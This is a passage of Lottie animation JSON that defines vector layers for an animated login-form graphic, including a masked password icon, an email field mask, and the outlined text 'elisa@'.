Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 1","np":5,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":240,"st":0,"ct":1,"bm":0},{"ddd":0,"ind":8,"ty":4,"nm":"password icon","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[92,253.5,0],"ix":2,"l":2},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0]],"v":[[-10,6],[-10,4],[10,4],[10,6]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ind":1,"ty":"sh","ix":2,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0]],"v":[[-8.85,-0.05],[-10.15,-0.8],[-9.3,-2.3],[-11,-2.3],[-11,-3.8],[-9.3,-3.8],[-10.15,-5.25],[-8.85,-6],[-8,-4.55],[-7.15,-6],[-5.85,-5.25],[-6.7,-3.8],[-5,-3.8],[-5,-2.3],[-6.7,-2.3],[-5.85,-0.8],[-7.15,-0.05],[-8,-1.55]],"c":true},"ix":2},"nm":"Path 2","mn":"ADBE Vector Shape - Group","hd":false},{"ind":2,"ty":"sh","ix":3,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0]],"v":[[-0.85,-0.05],[-2.15,-0.8],[-1.3,-2.3],[-3,-2.3],[-3,-3.8],[-1.3,-3.8],[-2.15,-5.25],[-0.85,-6],[0,-4.55],[0.85,-6],[2.15,-5.25],[1.3,-3.8],[3,-3.8],[3,-2.3],[1.3,-2.3],[2.15,-0.8],[0.85,-0.05],[0,-1.55]],"c":true},"ix":2},"nm":"Path 3","mn":"ADBE Vector Shape - Group","hd":false},{"ind":3,"ty":"sh","ix":4,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0],[0,0]],"v":[[7.15,-0.05],[5.85,-0.8],[6.7,-2.3],[5,-2.3],[5,-3.8],[6.7,-3.8],[5.85,-5.25],[7.15,-6],[8,-4.55],[8.85,-6],[10.15,-5.25],[9.3,-3.8],[11,-3.8],[11,-2.3],[9.3,-2.3],[10.15,-0.8],[8.85,-0.05],[8,-1.55]],"c":true},"ix":2},"nm":"Path 4","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[0.062745098039,0.352941176471,0.819607902976,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 1","np":5,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":240,"st":0,"ct":1,"bm":0},{"ddd":0,"ind":9,"ty":4,"nm":"email mask","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[200.5,147.5,0],"ix":2,"l":2},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ty":"rc","d":1,"s":{"a":1,"k":[{"i":{"x":[0.833,0.833],"y":[0.833,0.833]},"o":{"x":[0.167,0.167],"y":[0.167,0.167]},"t":30,"s":[127.113,29.35]},{"t":44,"s":[127.113,29.35]}],"ix":2},"p":{"a":0,"k":[0,0],"ix":3},"r":{"a":0,"k":0,"ix":4},"nm":"Rectangle Path 1","mn":"ADBE Vector Shape - Rect","hd":false},{"ty":"fl","c":{"a":0,"k":[0.998284313725,0.998284313725,0.998284313725,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[49.68,50.675],"ix":2},"a":{"a":0,"k":[64.123,0.5],"ix":1},"s":{"a":1,"k":[{"i":{"x":[0.833,0.833],"y":[0.833,0.833]},"o":{"x":[0.167,0.167],"y":[0.167,0.167]},"t":31,"s":[99.168,100]},{"t":44,"s":[6.444,100]}],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Rectangle 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":240,"st":0,"ct":1,"bm":0},{"ddd":0,"ind":10,"ty":4,"nm":"elisa@","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[183.5,200,0],"ix":2,"l":2},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[109,109,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0.488,0],[0.419,0.173],[0.301,0.319],[0.16,0.438],[0,0.52],[0,0],[-0.178,0.469],[-0.305,0.328],[-0.387,0.169],[-0.415,0],[-0.383,-0.182],[-0.246,-0.328],[-0.118,-0.442],[0,-0.52],[0,0],[0,0],[0,0],[0,0],[0,0],[0.118,0.31],[0.251,0.201],[0.433,0],[0.242,-0.123],[0.173,-0.237],[0.096,-0.342],[0,-0.447],[0,0],[-0.096,-0.31],[-0.187,-0.232],[-0.269,-0.132],[-0.346,0],[-0.31,0.182],[-0.232,0.305],[0,0],[0.246,-0.219],[0.36,-0.137]],"o":[[-0.515,0],[-0.415,-0.178],[-0.296,-0.319],[-0.16,-0.438],[0,0],[0,-0.602],[0.178,-0.474],[0.305,-0.328],[0.387,-0.169],[0.529,0],[0.387,0.182],[0.246,0.324],[0.118,0.438],[0,0],[0,0],[0,0],[0,0],[0,0],[-0.018,-0.328],[-0.114,-0.31],[-0.251,-0.201],[-0.287,0],[-0.242,0.118],[-0.173,0.237],[-0.096,0.342],[0,0],[0,0.351],[0.1,0.305],[0.191,0.232],[0.273,0.132],[0.447,0],[0.31,-0.182],[0,0],[-0.16,0.242],[-0.246,0.219],[-0.355,0.137]],"v":[[-49.561,3.838],[-50.962,3.579],[-52.035,2.833],[-52.719,1.699],[-52.958,0.263],[-52.958,-0.024],[-52.691,-1.63],[-51.967,-2.833],[-50.928,-3.579],[-49.725,-3.832],[-48.357,-3.558],[-47.407,-2.792],[-46.86,-1.644],[-46.683,-0.208],[-46.683,0.359],[-52.206,0.359],[-52.206,-0.673],[-47.947,-0.673],[-47.947,-0.769],[-48.152,-1.726],[-48.699,-2.492],[-49.725,-2.792],[-50.518,-2.608],[-51.14,-2.075],[-51.543,-1.207],[-51.687,-0.024],[-51.687,0.263],[-51.543,1.254],[-51.112,2.061],[-50.422,2.608],[-49.492,2.806],[-48.357,2.533],[-47.544,1.801],[-46.778,2.41],[-47.387,3.1],[-48.296,3.633]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ind":1,"ty":"sh","ix":2,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0]],"v":[[-43.832,-6.798],[-43.832,3.702],[-45.104,3.702],[-45.104,-6.798]],"c":true},"ix":2},"nm":"Path 2","mn":"ADBE Vector Shape - Group","hd":false},{"ind":2,"ty":"sh","ix":3,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0]],"v":[[-40.428,-3.695],[-40.428,3.702],[-41.699,3.702],[-41.699,-3.695]],"c":true},"ix":2},"nm":"Path 3","mn":"ADBE Vector Shape - Group","hd":false},{"ind":3,"ty":"sh","ix":4,"ks":{"a":0,"k":{"i":[[0,0.196],[-0.123,0.141],[-0.246,0],[-0.128,-0.141],[0,-0.205],[0.132,-0.141],[0.242,0],[0.128,0.137]],"o":[[0,-0.205],[0.128,-0.141],[0.242,0],[0.132,0.141],[0,0.196],[-0.128,0.137],[-0.246,0],[-0.123,-0.141]],"v":[[-41.795,-5.657],[-41.61,-6.176],[-41.05,-6.388],[-40.496,-6.176],[-40.298,-5.657],[-40.496,-5.151],[-41.05,-4.946],[-41.61,-5.151]],"c":true},"ix":2},"nm":"Path 4","mn":"ADBE Vector Shape - Group","hd":false},{"ind":4,"ty":"sh","ix":5,"ks":{"a":0,"k":{"i":[[0,0.205],[0.082,0.155],[0.246,0.128],[0.488,0.096],[0.333,0.118],[0.232,0.169],[0.123,0.228],[0,0.305],[-0.128,0.26],[-0.237,0.201],[-0.337,0.114],[-0.415,0],[-0.419,-0.21],[-0.223,-0.351],[0,-0.424],[0,0],[0.123,0.191],[0.232,0.128],[0.333,0],[0.219,-0.109],[0.1,-0.164],[0,-0.182],[-0.046,-0.109],[-0.123,-0.091],[-0.223,-0.077],[-0.346,-0.077],[-0.392,-0.191],[-0.191,-0.278],[0,-0.396],[0.137,-0.269],[0.255,-0.196],[0.351,-0.109],[0.433,0],[0.451,0.232],[0.232,0.369],[0,0.41],[0,0],[-0.182,-0.205],[-0.264,-0.087],[-0.26,0],[-0.232,0.091],[-0.123,0.16]],"o":[[0,-0.182],[-0.077,-0.16],[-0.242,-0.132],[-0.41,-0.087],[-0.328,-0.118],[-0.228,-0.169],[-0.123,-0.228],[0,-0.292],[0.132,-0.26],[0.242,-0.201],[0.337,-0.114],[0.592,0],[0.419,0.21],[0.223,0.346],[0,0],[0,-0.205],[-0.118,-0.196],[-0.228,-0.128],[-0.351,0],[-0.214,0.105],[-0.096,0.164],[0,0.137],[0.05,0.105],[0.123,0.087],[0.223,0.077],[0.606,0.137],[0.392,0.191],[0.191,0.278],[0,0.324],[-0.132,0.269],[-0.251,0.191],[-0.346,0.105],[-0.652,0],[-0.451,-0.232],[-0.232,-0.369],[0,0],[0.018,0.346],[0.182,0.201],[0.264,0.082],[0.346,0],[0.237,-0.091],[0.123,-0.16]],"v":[[-34.091,1.74],[-34.214,1.234],[-34.699,0.803],[-35.793,0.461],[-36.907,0.154],[-37.748,-0.277],[-38.274,-0.872],[-38.459,-1.671],[-38.268,-2.499],[-37.714,-3.189],[-36.846,-3.661],[-35.718,-3.832],[-34.2,-3.517],[-33.236,-2.676],[-32.901,-1.521],[-34.166,-1.521],[-34.351,-2.116],[-34.877,-2.601],[-35.718,-2.792],[-36.572,-2.628],[-37.044,-2.225],[-37.188,-1.706],[-37.119,-1.336],[-36.859,-1.042],[-36.34,-0.796],[-35.485,-0.564],[-33.988,-0.072],[-33.113,0.632],[-32.826,1.644],[-33.031,2.533],[-33.612,3.23],[-34.515,3.681],[-35.684,3.838],[-37.338,3.49],[-38.363,2.587],[-38.712,1.418],[-37.44,1.418],[-37.14,2.246],[-36.47,2.676],[-35.684,2.799],[-34.815,2.663],[-34.275,2.287]],"c":true},"ix":2},"nm":"Path 5","mn":"ADBE Vector Shape - Group","hd":false},{"ind":5,"ty":"sh","ix":6,"ks":{"a":0,"k":{"i":[[0,0.21],[0,0],[0.118,0.214],[0.232,0.118],[0.342,0],[0.242,-0.109],[0.137,-0.178],[0,-0.205],[0,0],[-0.137,0.26],[-0.255,0.21],[-0.36,0.123],[-0.447,0],[-0.41,-0.182],[-0.232,-0.369],[0,-0.551],[0,0],[-0.041,-0.278],[-0.087,-0.201],[0,0],[0,0],[0.036,0.242]],"o":[[0,0],[0,-0.292],[-0.114,-0.219],[-0.232,-0.118],[-0.319,0],[-0.237,0.109],[-0.132,0.178],[0,0],[0,-0.264],[0.137,-0.26],[0.26,-0.214],[0.365,-0.128],[0.538,0],[0.415,0.182],[0.237,0.365],[0,0],[0,0.246],[0.046,0.278],[0,0],[0,0],[-0.064,-0.146],[-0.036,-0.246]],"v":[[-26.804,2.437],[-26.804,-1.371],[-26.981,-2.129],[-27.501,-2.635],[-28.362,-2.813],[-29.203,-2.649],[-29.764,-2.218],[-29.962,-1.644],[-31.227,-1.644],[-31.021,-2.43],[-30.434,-3.134],[-29.504,-3.64],[-28.287,-3.832],[-26.865,-3.558],[-25.895,-2.731],[-25.539,-1.357],[-25.539,2.088],[-25.478,2.875],[-25.279,3.592],[-25.279,3.702],[-26.599,3.702],[-26.749,3.121]],"c":true},"ix":2},"nm":"Path 6","mn":"ADBE Vector Shape - Group","hd":false},{"ind":6,"ty":"sh","ix":7,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0.283,-0.059],[0.191,-0.114],[0.1,-0.173],[0,-0.228],[-0.105,-0.191],[-0.21,-0.114],[-0.31,0],[-0.296,0.164],[-0.173,0.237],[-0.014,0.223],[0,0],[0.141,-0.232],[0.237,-0.214],[0.324,-0.141],[0.401,0],[0.378,0.196],[0.21,0.328],[0,0.41],[-0.155,0.301],[-0.292,0.201],[-0.41,0.105],[-0.506,0]],"o":[[0,0],[0,0],[-0.36,0],[-0.283,0.055],[-0.191,0.114],[-0.1,0.169],[0,0.232],[0.105,0.191],[0.214,0.109],[0.387,0],[0.296,-0.164],[0.178,-0.237],[0,0],[-0.032,0.191],[-0.141,0.232],[-0.232,0.21],[-0.319,0.137],[-0.501,0],[-0.374,-0.196],[-0.205,-0.333],[0,-0.396],[0.155,-0.305],[0.292,-0.205],[0.41,-0.105],[0,0]],"v":[[-26.585,-0.783],[-26.571,0.106],[-27.85,0.106],[-28.813,0.195],[-29.524,0.448],[-29.962,0.878],[-30.112,1.473],[-29.955,2.109],[-29.483,2.567],[-28.697,2.731],[-27.672,2.485],[-26.968,1.883],[-26.681,1.193],[-26.141,1.801],[-26.4,2.437],[-26.968,3.107],[-27.802,3.633],[-28.882,3.838],[-30.201,3.544],[-31.076,2.758],[-31.384,1.644],[-31.151,0.598],[-30.481,-0.161],[-29.429,-0.625],[-28.055,-0.783]],"c":true},"ix":2},"nm":"Path 7","mn":"ADBE Vector Shape - Group","hd":false},{"ind":7,"ty":"sh","ix":8,"ks":{"a":0,"k":{"i":[[0.032,-0.775],[0.109,-0.424],[0.219,-0.351],[0.351,-0.214],[0.492,0],[0.237,0.109],[0.15,0.21],[0.059,0.296],[-0.036,0.365],[0,0],[0,0],[0,0],[-0.041,-0.21],[-0.091,-0.114],[-0.114,-0.041],[-0.109,0],[-0.214,0.141],[-0.146,0.251],[-0.082,0.333],[-0.018,0.383],[0.096,0.57],[0.223,0.442],[0.355,0.305],[0.492,0.16],[0.633,0],[0.488,-0.178],[0.387,-0.328],[0.278,-0.46],[0.16,-0.579],[0.027,-0.665],[-0.105,-0.574],[-0.232,-0.447],[-0.36,-0.31],[-0.474,-0.16],[-0.583,0],[-0.41,0.096],[-0.278,0.164],[0,0],[0.479,-0.1],[0.424,0],[0.574,0.191],[0.442,0.365],[0.292,0.52],[0.137,0.661],[-0.032,0.784],[-0.191,0.661],[-0.337,0.538],[-0.465,0.387],[-0.583,0.21],[-0.688,0],[-0.57,-0.191],[-0.428,-0.36],[-0.283,-0.52],[-0.128,-0.656]],"o":[[-0.018,0.419],[-0.109,0.419],[-0.219,0.351],[-0.346,0.21],[-0.314,0],[-0.232,-0.114],[-0.146,-0.21],[-0.055,-0.296],[0,0],[0,0],[0,0],[-0.027,0.333],[0.046,0.21],[0.091,0.109],[0.118,0.041],[0.273,0],[0.214,-0.146],[0.15,-0.255],[0.082,-0.337],[0.032,-0.679],[-0.091,-0.57],[-0.219,-0.442],[-0.355,-0.305],[-0.492,-0.16],[-0.574,0],[-0.483,0.173],[-0.383,0.328],[-0.273,0.46],[-0.155,0.574],[-0.032,0.684],[0.105,0.57],[0.237,0.451],[0.36,0.314],[0.474,0.164],[0.401,0],[0.415,-0.096],[0,0],[-0.319,0.205],[-0.474,0.1],[-0.693,0],[-0.57,-0.187],[-0.438,-0.36],[-0.292,-0.515],[-0.137,-0.661],[0.032,-0.747],[0.196,-0.661],[0.337,-0.538],[0.469,-0.392],[0.588,-0.21],[0.702,0],[0.57,0.191],[0.433,0.36],[0.283,0.52],[0.132,0.656]],"v":[[-12.646,0.263],[-12.838,1.528],[-13.33,2.683],[-14.185,3.531],[-15.442,3.845],[-16.27,3.681],[-16.844,3.196],[-17.151,2.437],[-17.179,1.446],[-16.83,-2.341],[-15.825,-2.341],[-16.174,1.446],[-16.153,2.259],[-15.948,2.745],[-15.641,2.97],[-15.299,3.032],[-14.567,2.82],[-14.027,2.225],[-13.679,1.343],[-13.528,0.263],[-13.624,-1.61],[-14.096,-3.127],[-14.957,-4.249],[-16.229,-4.946],[-17.917,-5.185],[-19.51,-4.918],[-20.815,-4.167],[-21.807,-2.984],[-22.456,-1.425],[-22.729,0.434],[-22.62,2.321],[-22.114,3.845],[-21.219,4.987],[-19.968,5.698],[-18.382,5.944],[-17.165,5.8],[-16.126,5.411],[-15.866,6.19],[-17.062,6.648],[-18.409,6.798],[-20.31,6.511],[-21.827,5.684],[-22.921,4.365],[-23.563,2.601],[-23.721,0.434],[-23.386,-1.678],[-22.586,-3.476],[-21.383,-4.864],[-19.804,-5.766],[-17.89,-6.081],[-15.982,-5.793],[-14.485,-4.966],[-13.412,-3.647],[-12.797,-1.883]],"c":true},"ix":2},"nm":"Path 8","mn":"ADBE Vector Shape - Group","hd":false},{"ind":8,"ty":"sh","ix":9,"ks":{"a":0,"k":{"i":[[0.046,-0.501],[-0.032,-0.251],[-0.091,-0.173],[-0.146,-0.091],[-0.201,0],[-0.146,0.064],[-0.141,0.141],[-0.123,0.228],[-0.082,0.319],[0,0],[0.169,-0.283],[0.205,-0.191],[0.232,-0.1],[0.237,0],[0.251,0.141],[0.155,0.264],[0.064,0.365],[-0.041,0.451],[-0.128,0.406],[-0.187,0.319],[-0.237,0.223],[-0.269,0.114],[-0.283,0],[-0.283,-0.146],[-0.255,-0.196],[0,0],[0.214,0.109],[0.292,0],[0.219,-0.128],[0.178,-0.255],[0.118,-0.378]],"o":[[-0.032,0.319],[0.032,0.251],[0.091,0.173],[0.15,0.087],[0.132,0],[0.146,-0.068],[0.141,-0.141],[0.123,-0.228],[0,0],[-0.105,0.374],[-0.164,0.283],[-0.205,0.191],[-0.228,0.096],[-0.333,0],[-0.251,-0.146],[-0.155,-0.264],[-0.059,-0.369],[0.041,-0.479],[0.128,-0.406],[0.191,-0.319],[0.242,-0.223],[0.269,-0.118],[0.492,0],[0.283,0.141],[0,0],[-0.132,-0.128],[-0.214,-0.109],[-0.251,0],[-0.219,0.128],[-0.173,0.255],[-0.118,0.374]],"v":[[-19.667,0.844],[-19.667,1.699],[-19.482,2.334],[-19.127,2.731],[-18.601,2.861],[-18.184,2.765],[-17.753,2.451],[-17.356,1.897],[-17.049,1.077],[-16.598,1.569],[-17.008,2.553],[-17.562,3.264],[-18.218,3.702],[-18.915,3.845],[-19.79,3.633],[-20.398,3.018],[-20.727,2.075],[-20.754,0.844],[-20.501,-0.482],[-20.029,-1.569],[-19.387,-2.382],[-18.621,-2.888],[-17.794,-3.066],[-16.632,-2.847],[-15.825,-2.341],[-16.406,-1.665],[-16.926,-2.02],[-17.685,-2.184],[-18.389,-1.993],[-18.983,-1.418],[-19.421,-0.468]],"c":true},"ix":2},"nm":"Path 9","mn":"ADBE Vector Shape - Group","hd":false},{"ind":9,"ty":"sh","ix":10,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0.264,-0.46],[0.474,-0.237],[0.615,0],[0.346,0.082],[0.333,0.191],[0.223,0.319],[0,0],[-0.337,-0.146],[-0.333,0],[-0.292,0.15],[-0.16,0.296],[0,0.428],[0,0]],"o":[[0,0],[0,0],[0,0.652],[-0.264,0.46],[-0.469,0.242],[-0.255,0],[-0.342,-0.077],[-0.328,-0.187],[0,0],[0.31,0.374],[0.342,0.146],[0.401,0],[0.292,-0.15],[0.164,-0.292],[0,0],[0,0]],"v":[[-6.18,-3.695],[-5.031,-3.695],[-5.031,3.544],[-5.428,5.212],[-6.535,6.258],[-8.162,6.621],[-9.064,6.498],[-10.076,6.094],[-10.903,5.335],[-10.24,4.583],[-9.27,5.363],[-8.258,5.582],[-7.219,5.356],[-6.542,4.686],[-6.296,3.606],[-6.296,-2.068]],"c":true},"ix":2},"nm":"Path 10","mn":"ADBE Vector Shape - Group","hd":false},{"ind":10,"ty":"sh","ix":11,"ks":{"a":0,"k":{"i":[[0,0.538],[0,0],[-0.132,0.46],[-0.251,0.333],[-0.36,0.178],[-0.451,0],[-0.346,-0.164],[-0.242,-0.31],[-0.141,-0.433],[-0.055,-0.547],[0,0],[0.146,-0.433],[0.246,-0.305],[0.351,-0.164],[0.469,0],[0.36,0.187],[0.255,0.337],[0.137,0.456]],"o":[[0,0],[0,-0.565],[0.137,-0.465],[0.255,-0.333],[0.36,-0.182],[0.465,0],[0.351,0.16],[0.246,0.305],[0.141,0.433],[0,0],[-0.05,0.542],[-0.141,0.433],[-0.242,0.305],[-0.351,0.16],[-0.442,0],[-0.355,-0.187],[-0.255,-0.337],[-0.132,-0.46]],"v":[[-11.272,0.085],[-11.272,-0.058],[-11.074,-1.596],[-10.493,-2.792],[-9.57,-3.558],[-8.354,-3.832],[-7.137,-3.585],[-6.248,-2.881],[-5.667,-1.774],[-5.373,-0.304],[-5.373,0.325],[-5.667,1.788],[-6.248,2.895],[-7.137,3.599],[-8.367,3.838],[-9.57,3.558],[-10.486,2.772],[-11.074,1.583]],"c":true},"ix":2},"nm":"Path 11","mn":"ADBE Vector Shape - Group","hd":false},{"ind":11,"ty":"sh","ix":12,"ks":{"a":0,"k":{"i":[[0,-0.369],[0,0],[-0.073,-0.324],[-0.155,-0.246],[-0.246,-0.141],[-0.342,0],[-0.273,0.178],[-0.16,0.292],[-0.091,0.342],[0,0],[0.105,0.232],[0.164,0.182],[0.237,0.109],[0.319,0],[0.251,-0.146],[0.16,-0.251],[0.077,-0.328]],"o":[[0,0],[0,0.369],[0.077,0.324],[0.16,0.246],[0.246,0.137],[0.419,0],[0.273,-0.178],[0.164,-0.292],[0,0],[-0.05,-0.251],[-0.1,-0.237],[-0.16,-0.187],[-0.237,-0.109],[-0.346,0],[-0.246,0.141],[-0.155,0.246],[-0.073,0.324]],"v":[[-10.008,-0.058],[-10.008,0.085],[-9.898,1.125],[-9.55,1.979],[-8.941,2.56],[-8.06,2.765],[-7.021,2.499],[-6.371,1.794],[-5.988,0.844],[-5.988,-0.803],[-6.221,-1.528],[-6.617,-2.157],[-7.212,-2.601],[-8.046,-2.765],[-8.941,-2.546],[-9.55,-1.958],[-9.898,-1.097]],"c":true},"ix":2},"nm":"Path 12","mn":"ADBE Vector Shape - Group","hd":false},{"ind":12,"ty":"sh","ix":13,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0],[0,0]],"v":[[-1.853,-2.225],[-1.853,3.702],[-3.124,3.702],[-3.124,-3.695],[-1.921,-3.695]],"c":true},"ix":2},"nm":"Path 13","mn":"ADBE Vector Shape - Group","hd":false},{"ind":13,"ty":"sh","ix":14,"ks":{"a":0,"k":{"i":[[0,-0.333],[0,0],[-0.128,0.428],[-0.251,0.319],[-0.374,0.173],[-0.492,0],[-0.292,-0.1],[-0.214,-0.21],[-0.118,-0.328],[0,-0.465],[0,0],[0,0],[0,0],[0.132,0.232],[0.237,0.105],[0.319,0],[0.251,-0.132],[0.15,-0.232],[0.068,-0.301]],"o":[[0,0],[0.005,-0.506],[0.128,-0.433],[0.251,-0.319],[0.374,-0.178],[0.346,0],[0.292,0.096],[0.214,0.21],[0.118,0.328],[0,0],[0,0],[0,0],[0,-0.387],[-0.128,-0.232],[-0.237,-0.109],[-0.374,0],[-0.251,0.132],[-0.15,0.232],[-0.064,0.296]],"v":[[-2.112,-0.277],[-2.7,-0.297],[-2.502,-1.699],[-1.935,-2.827],[-0.998,-3.565],[0.301,-3.832],[1.258,-3.681],[2.017,-3.223],[2.516,-2.417],[2.693,-1.227],[2.693,3.702],[1.429,3.702],[1.429,-1.166],[1.23,-2.095],[0.684,-2.601],[-0.15,-2.765],[-1.087,-2.567],[-1.688,-2.02],[-2.017,-1.22]],"c":true},"ix":2},"nm":"Path 14","mn":"ADBE Vector Shape - Group","hd":false},{"ind":14,"ty":"sh","ix":15,"ks":{"a":0,"k":{"i":[[0,-0.242],[0,0],[-0.128,0.374],[-0.246,0.292],[-0.365,0.169],[-0.469,0],[-0.305,-0.105],[-0.21,-0.219],[-0.109,-0.337],[0,-0.465],[0,0],[0,0],[0,0],[0.132,0.228],[0.237,0.091],[0.324,0],[0.214,-0.096],[0.146,-0.169],[0.077,-0.214]],"o":[[0,0],[0.005,-0.406],[0.132,-0.374],[0.251,-0.292],[0.365,-0.173],[0.396,0],[0.31,0.105],[0.214,0.214],[0.109,0.337],[0,0],[0,0],[0,0],[0,-0.415],[-0.128,-0.232],[-0.232,-0.096],[-0.278,0],[-0.214,0.096],[-0.146,0.164],[-0.073,0.214]],"v":[[2.68,-0.974],[1.832,-0.714],[2.03,-1.883],[2.598,-2.881],[3.521,-3.572],[4.771,-3.832],[5.824,-3.674],[6.604,-3.189],[7.089,-2.362],[7.253,-1.159],[7.253,3.702],[5.981,3.702],[5.981,-1.172],[5.783,-2.136],[5.236,-2.622],[4.402,-2.765],[3.664,-2.622],[3.124,-2.225],[2.789,-1.658]],"c":true},"ix":2},"nm":"Path 15","mn":"ADBE Vector Shape - Group","hd":false},{"ind":15,"ty":"sh","ix":16,"ks":{"a":0,"k":{"i":[[0,0.21],[0,0],[0.118,0.214],[0.232,0.118],[0.342,0],[0.242,-0.109],[0.137,-0.178],[0,-0.205],[0,0],[-0.137,0.26],[-0.255,0.21],[-0.36,0.123],[-0.447,0],[-0.41,-0.182],[-0.232,-0.369],[0,-0.551],[0,0],[-0.041,-0.278],[-0.087,-0.201],[0,0],[0,0],[0.036,0.242]],"o":[[0,0],[0,-0.292],[-0.114,-0.219],[-0.232,-0.118],[-0.319,0],[-0.237,0.109],[-0.132,0.178],[0,0],[0,-0.264],[0.137,-0.26],[0.26,-0.214],[0.365,-0.128],[0.538,0],[0.415,0.182],[0.237,0.365],[0,0],[0,0.246],[0.046,0.278],[0,0],[0,0],[-0.064,-0.146],[-0.036,-0.246]],"v":[[13.528,2.437],[13.528,-1.371],[13.351,-2.129],[12.831,-2.635],[11.97,-2.813],[11.129,-2.649],[10.568,-2.218],[10.37,-1.644],[9.105,-1.644],[9.311,-2.43],[9.898,-3.134],[10.828,-3.64],[12.045,-3.832],[13.467,-3.558],[14.438,-2.731],[14.793,-1.357],[14.793,2.088],[14.854,2.875],[15.053,3.592],[15.053,3.702],[13.733,3.702],[13.583,3.121]],"c":true},"ix":2},"nm":"Path 16","mn":"ADBE Vector Shape - Group","hd":false},{"ind":16,"ty":"sh","ix":17,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0.283,-0.059],[0.191,-0.114],[0.1,-0.173],[0,-0.228],[-0.105,-0.191],[-0.21,-0.114],[-0.31,0],[-0.296,0.164],[-0.173,0.237],[-0.014,0.223],[0,0],[0.141,-0.232],[0.237,-0.214],[0.324,-0.141],[0.401,0],[0.378,0.196],[0.21,0.328],[0,0.41],[-0.155,0.301],[-0.292,0.201],[-0.41,0.105],[-0.506,0]],"o":[[0,0],[0,0],[-0.36,0],[-0.283,0.055],[-0.191,0.114],[-0.1,0.169],[0,0.232],[0.105,0.191],[0.214,0.109],[0.387,0],[0.296,-0.164],[0.178,-0.237],[0,0],[-0.032,0.191],[-0.141,0.232],[-0.232,0.21],[-0.319,0.137],[-0.501,0],[-0.374,-0.196],[-0.205,-0.333],[0,-0.396],[0.155,-0.305],[0.292,-0.205],[0.41,-0.105],[0,0]],"v":[[13.747,-0.783],[13.761,0.106],[12.482,0.106],[11.519,0.195],[10.808,0.448],[10.37,0.878],[10.22,1.473],[10.377,2.109],[10.849,2.567],[11.635,2.731],[12.66,2.485],[13.364,1.883],[13.651,1.193],[14.191,1.801],[13.932,2.437],[13.364,3.10